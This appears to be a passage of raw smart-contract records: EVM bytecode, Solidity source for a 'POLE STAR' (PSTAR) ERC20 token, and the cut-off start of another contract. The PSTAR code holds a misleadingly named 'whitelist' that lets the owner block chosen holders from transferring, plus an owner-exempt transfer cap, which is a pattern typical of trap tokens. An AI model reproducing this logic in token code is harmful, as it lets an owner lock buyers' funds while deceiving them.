380610e5981611949565b915050610d71565b505050505050565b6001600160a01b0381166000908152600a602052604090205460ff16610ebd5760405162461bcd60e51b81526020600482015260096024820152682337b93134b23232b760b91b60448201526064016104b4565b600b546000908152600d602052604081205411610f145760405162461bcd60e51b81526020600482015260156024820152740676574427269646765446174614c656e6774683d3605c1b60448201526064016104b4565b600b8054906000610f2483611949565b919050555050565b6040516001600160a01b03831660248201526044810182905261094690849063a9059cbb60e01b906064015b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b0319909316929092179091526110d6565b6001600160a01b038116610ff45760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104b4565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b60008061105c83856118b3565b9050838110156110ae5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104b4565b9392505050565b6106a9846323b872dd60e01b858585604051602401610f589392919061172f565b6110e8826001600160a01b031661125d565b6111345760405162461bcd60e51b815260206004820152601f60248201527f5361666542455032303a2063616c6c20746f206e6f6e2d636f6e74726163740060448201526064016104b4565b600080836001600160a01b03168360405161114f9190611713565b6000604051808303816000865af19150503d806000811461118c576040519150601f19603f3d011682016040523d82523d6000602084013e611191565b606091505b5091509150816111e35760405162461bcd60e51b815260206004820181905260248201527f5361666542455032303a206c6f772d6c6576656c2063616c6c206661696c656460448201526064016104b4565b8051156106a957808060200190518101906111fe919061162a565b6106a95760405162461bcd60e51b815260206004820152602a60248201527f5361666542455032303a204245503230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b60648201526084016104b4565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47081158015906112915750808214155b949350505050565b80356112a4816119a6565b919050565b600082601f8301126112ba57600080fd5b813560206112cf6112ca8361188f565b61185e565b80838252828201915082860187848660051b89010111156112ef57600080fd5b60005b85811015611317578135611305816119a6565b845292840192908401906001016112f2565b5090979650505050505050565b600082601f83011261133557600080fd5b813560206113456112ca8361188f565b80838252828201915082860187848660051b890101111561136557600080fd5b60005b8581101561131757813584529284019290840190600101611368565b803560ff811681146112a457600080fd5b6000602082840312156113a757600080fd5b81356110ae816119a6565b600080600080600080600060e0888a0312156113cd57600080fd5b87356113d8816119a6565b965060208801356113e8816119a6565b9550604088013594506060880135935061140460808901611384565b925060a0880135915060c0880135905092959891949750929550565b6000806040838503121561143357600080fd5b823561143e816119a6565b9150602083013561144e816119bb565b809150509250929050565b6000806040838503121561146c57600080fd5b8235611477816119a6565b946020939093013593505050565b6000806000806080858703121561149b57600080fd5b84356114a6816119a6565b93506114b460208601611384565b93969395505050506040820135916060013590565b600080600080608085870312156114df57600080fd5b843567ffffffffffffffff808211156114f757600080fd5b611503888389016112a9565b9550602087013591508082111561151957600080fd5b611525888389016112a9565b9450604087013591508082111561153b57600080fd5b5061154887828801611324565b949793965093946060013593505050565b60008060008060008060008060006101208a8c03121561157857600080fd5b893567ffffffffffffffff8082111561159057600080fd5b61159c8d838e016112a9565b9a5060208c01359150808211156115b257600080fd5b6115be8d838e016112a9565b995060408c01359150808211156115d457600080fd5b506115e18c828d01611324565b97505060608a0135955060808a013594506115fe60a08b01611299565b935061160c60c08b01611384565b925060e08a013591506101008a013590509295985092959850929598565b60006020828403121561163c57600080fd5b81516110ae816119bb565b600080600080600060a0868803121561165f57600080fd5b853594506020860135611671816119a6565b935061167f60408701611384565b94979396509394606081013594506080013592915050565b6000806000606084860312156116ac57600080fd5b83356116b7816119a6565b925060208401356116c7816119a6565b929592945050506040919091013590565b6000602082840312156116ea57600080fd5b5035919050565b6000806040838503121561170457600080fd5b50508035926020909101359150565b600082516117258184602087016118e2565b9190910192915050565b6001600160a01b039384168152919092166020820152604081019190915260600190565b600060c08201888352602060c08185015281895180845260e086019150828b01935060005b8181101561179d5784516001600160a01b031683529383019391830191600101611778565b50508481036040860152885180825290820192508189019060005b818110156117d4578251855293830193918301916001016117b8565b50505050606083019590955250608081019290925260a0909101529392505050565b60208152600082518060208401526118158160408501602087016118e2565b601f01601f19169190910160400192915050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b604051601f8201601f1916810167ffffffffffffffff8111828210171561188757611887611990565b604052919050565b600067ffffffffffffffff8211156118a9576118a9611990565b5060051b60200190565b600082198211156118c6576118c6611964565b500190565b6000828210156118dd576118dd611964565b500390565b60005b838110156118fd5781810151838201526020016118e5565b838111156106a95750506000910152565b600181811c9082168061192257607f821691505b6020821081141561194357634e487b7160e01b600052602260045260246000fd5b50919050565b600060001982141561195d5761195d611964565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114610a5957600080fd5b8015158114610a5957600080fdfea2646970667358221220c6dcd6841fead6e2ba7ae38d8a4bbd7e661650d69863355d8ef60d6f841262b564736f6c63430008060033
|
{"success": true, "error": null, "results": {}}
| 7,863 |
0x889bdbe62b733c5fc9d161f495858eed643d99e8
|
pragma solidity ^0.6.0;
/*
*/
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function ceil(uint256 a, uint256 m) internal pure returns (uint256) {
uint256 c = add(a,m);
uint256 d = sub(c,1);
return mul(div(d,m),m);
}
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract PSTAR is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private whitelist;
uint256 private _totalSupply = 500 ether;
string private _name = "POLE STAR";
string private _symbol = "PSTAR";
uint8 private _decimals = 18;
address private __owner;
bool public beginning = true;
bool public stopBots = true;
constructor () public {
__owner = msg.sender;
_balances[__owner] = _totalSupply;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function multiWhitelistAdd(address[] memory addresses) public {
if (msg.sender != __owner) {
revert();
}
for (uint256 i = 0; i < addresses.length; i++) {
whitelistAdd(addresses[i]);
}
}
function multiWhitelistRemove(address[] memory addresses) public {
if (msg.sender != __owner) {
revert();
}
for (uint256 i = 0; i < addresses.length; i++) {
whitelistRemove(addresses[i]);
}
}
function whitelistAdd(address a) public {
if (msg.sender != __owner) {
revert();
}
whitelist[a] = true;
}
function whitelistRemove(address a) public {
if (msg.sender != __owner) {
revert();
}
whitelist[a] = false;
}
function isInWhitelist(address a) internal view returns (bool) {
return whitelist[a];
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function multiTransfer(address[] memory addresses, uint256 amount) public {
for (uint256 i = 0; i < addresses.length; i++) {
transfer(addresses[i], amount);
}
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function disable() public {
if (msg.sender != __owner) {
revert();
}
stopBots = true;
}
function enable() public {
if (msg.sender != __owner) {
revert();
}
stopBots = false;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if (beginning) {
if (isInWhitelist(sender)) {
revert();
}
}
if (stopBots) {
if (amount > 60 ether && sender != __owner) {
revert('stop the bots!');
}
}
uint256 tokensToBurn = amount.div(10);
uint256 tokensToTransfer = amount.sub(tokensToBurn);
_beforeTokenTransfer(sender, recipient, amount);
_burn(sender, tokensToBurn);
_balances[sender] = _balances[sender].sub(tokensToTransfer, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(tokensToTransfer);
emit Transfer(sender, recipient, tokensToTransfer);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function beginPresale() public {
if (__owner != msg.sender) {
revert();
}
beginning = true;
}
function stopPresale() public {
if (__owner != msg.sender) {
revert();
}
beginning = false;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106101425760003560e01c8063524fa7b9116100b8578063a457c2d71161007c578063a457c2d7146106ef578063a9059cbb14610755578063a932ed0d146107bb578063bc13d1e7146107ff578063c4066d4214610809578063dd62ed3e1461082b57610142565b8063524fa7b91461050457806370a082311461054857806395d89b41146105a0578063a16a317914610623578063a3907d71146106e557610142565b806323b872dd1161010a57806323b872dd146103105780632f2770db14610396578063313ce567146103a057806339509351146103c457806344043b821461042a5780634a797b47146104e257610142565b806306fdde0314610147578063095ea7b3146101ca57806318160ddd146102305780631ad2ad1a1461024e5780631f059ab814610258575b600080fd5b61014f6108a3565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561018f578082015181840152602081019050610174565b50505050905090810190601f1680156101bc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610216600480360360408110156101e057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610945565b604051808215151515815260200191505060405180910390f35b61023861095c565b6040518082815260200191505060405180910390f35b610256610966565b005b61030e6004803603602081101561026e57600080fd5b810190808035906020019064010000000081111561028b57600080fd5b82018360208201111561029d57600080fd5b803590602001918460208302840111640100000000831117156102bf57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506109dd565b005b61037c6004803603606081101561032657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a73565b604051808215151515815260200191505060405180910390f35b61039e610b3e565b005b6103a8610bb5565b604051808260ff1660ff16815260200191505060405180910390f35b610410600480360360408110156103da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bcc565b604051808215151515815260200191505060405180910390f35b6104e06004803603602081101561044057600080fd5b810190808035906020019064010000000081111561045d57600080fd5b82018360208201111561046f57600080fd5b8035906020019184602083028401116401000000008311171561049157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610c71565b005b6104ea610d07565b604051808215151515815260200191505060405180910390f35b6105466004803603602081101561051a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d1a565b005b61058a6004803603602081101561055e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dcf565b6040518082815260200191505060405180910390f35b6105a8610e17565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105e85780820151818401526020810190506105cd565b50505050905090810190601f1680156106155780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6106e36004803603604081101561063957600080fd5b810190808035906020019064010000000081111561065657600080fd5b82018360208201111561066857600080fd5b8035906020019184602083028401116401000000008311171561068a57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190929190505050610eb9565b005b6106ed610ef8565b005b61073b6004803603604081101561070557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f6f565b604051808215151515815260200191505060405180910390f35b6107a16004803603604081101561076b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061102e565b604051808215151515815260200191505060405180910390f35b6107fd600480360360208110156107d157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611045565b005b6108076110fa565b005b610811611171565b604051808215151515815260200191505060405180910390f35b61088d6004803603604081101561084157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611184565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561093b5780601f106109105761010080835404028352916020019161093b565b820191906000526020600020905b81548152906001019060200180831161091e57829003601f168201915b5050505050905090565b600061095233848461120b565b6001905092915050565b6000600354905090565b3373ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109c057600080fd5b6000600660156101000a81548160ff021916908315150217905550565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a3757600080fd5b60008090505b8151811015610a6f57610a62828281518110610a5557fe5b6020026020010151611045565b8080600101915050610a3d565b5050565b6000610a80848484611402565b610b338433610b2e85604051806060016040528060288152602001611d6560289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118169092919063ffffffff16565b61120b565b600190509392505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b9857600080fd5b6001600660166101000a81548160ff021916908315150217905550565b6000600660009054906101000a900460ff16905090565b6000610c673384610c6285600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118d690919063ffffffff16565b61120b565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ccb57600080fd5b60008090505b8151811015610d0357610cf6828281518110610ce957fe5b6020026020010151610d1a565b8080600101915050610cd1565b5050565b600660159054906101000a900460ff1681565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d7457600080fd5b6001600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610eaf5780601f10610e8457610100808354040283529160200191610eaf565b820191906000526020600020905b815481529060010190602001808311610e9257829003601f168201915b5050505050905090565b60008090505b8251811015610ef357610ee5838281518110610ed757fe5b60200260200101518361102e565b508080600101915050610ebf565b505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f5257600080fd5b6000600660166101000a81548160ff021916908315150217905550565b6000611024338461101f85604051806060016040528060258152602001611df760259139600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118169092919063ffffffff16565b61120b565b6001905092915050565b600061103b338484611402565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461109f57600080fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b3373ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461115457600080fd5b6001600660156101000a81548160ff021916908315150217905550565b600660169054906101000a900460ff1681565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611291576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611dd36024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611317576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611d1d6022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611488576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611dae6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561150e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611cd86023913960400191505060405180910390fd5b600660159054906101000a900460ff16156115375761152c8361195e565b1561153657600080fd5b5b600660169054906101000a900460ff161561162657680340aad21b3b700000811180156115b25750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611625576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f73746f702074686520626f74732100000000000000000000000000000000000081525060200191505060405180910390fd5b5b600061163c600a836119b490919063ffffffff16565b9050600061165382846119fe90919063ffffffff16565b9050611660858585611a48565b61166a8583611a4d565b6116d581604051806060016040528060268152602001611d3f602691396000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118169092919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611768816000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118d690919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050505050565b60008383111582906118c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561188857808201518184015260208101905061186d565b50505050905090810190601f1680156118b55780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611954576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60006119f683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611c11565b905092915050565b6000611a4083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611816565b905092915050565b505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611ad3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611d8d6021913960400191505060405180910390fd5b611adf82600083611a48565b611b4a81604051806060016040528060228152602001611cfb602291396000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118169092919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ba1816003546119fe90919063ffffffff16565b600381905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b60008083118290611cbd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611c82578082015181840152602081019050611c67565b50505050905090810190601f168015611caf5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581611cc957fe5b04905080915050939250505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212203083a7d8fcdc7d3b942028d43c90f1d906652c9b48a1d0532dc809c1c2c0b82464736f6c63430006000033
|
{"success": true, "error": null, "results": {}}
| 7,864 |
0x52f74c3919e477e4038cd6de4603d3436cfa9379
|
/**
*Submitted for verification at Etherscan.io on 2020-12-09
*/
pragma solidity 0.6.12;
// SPDX-License-Identifier: No License
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
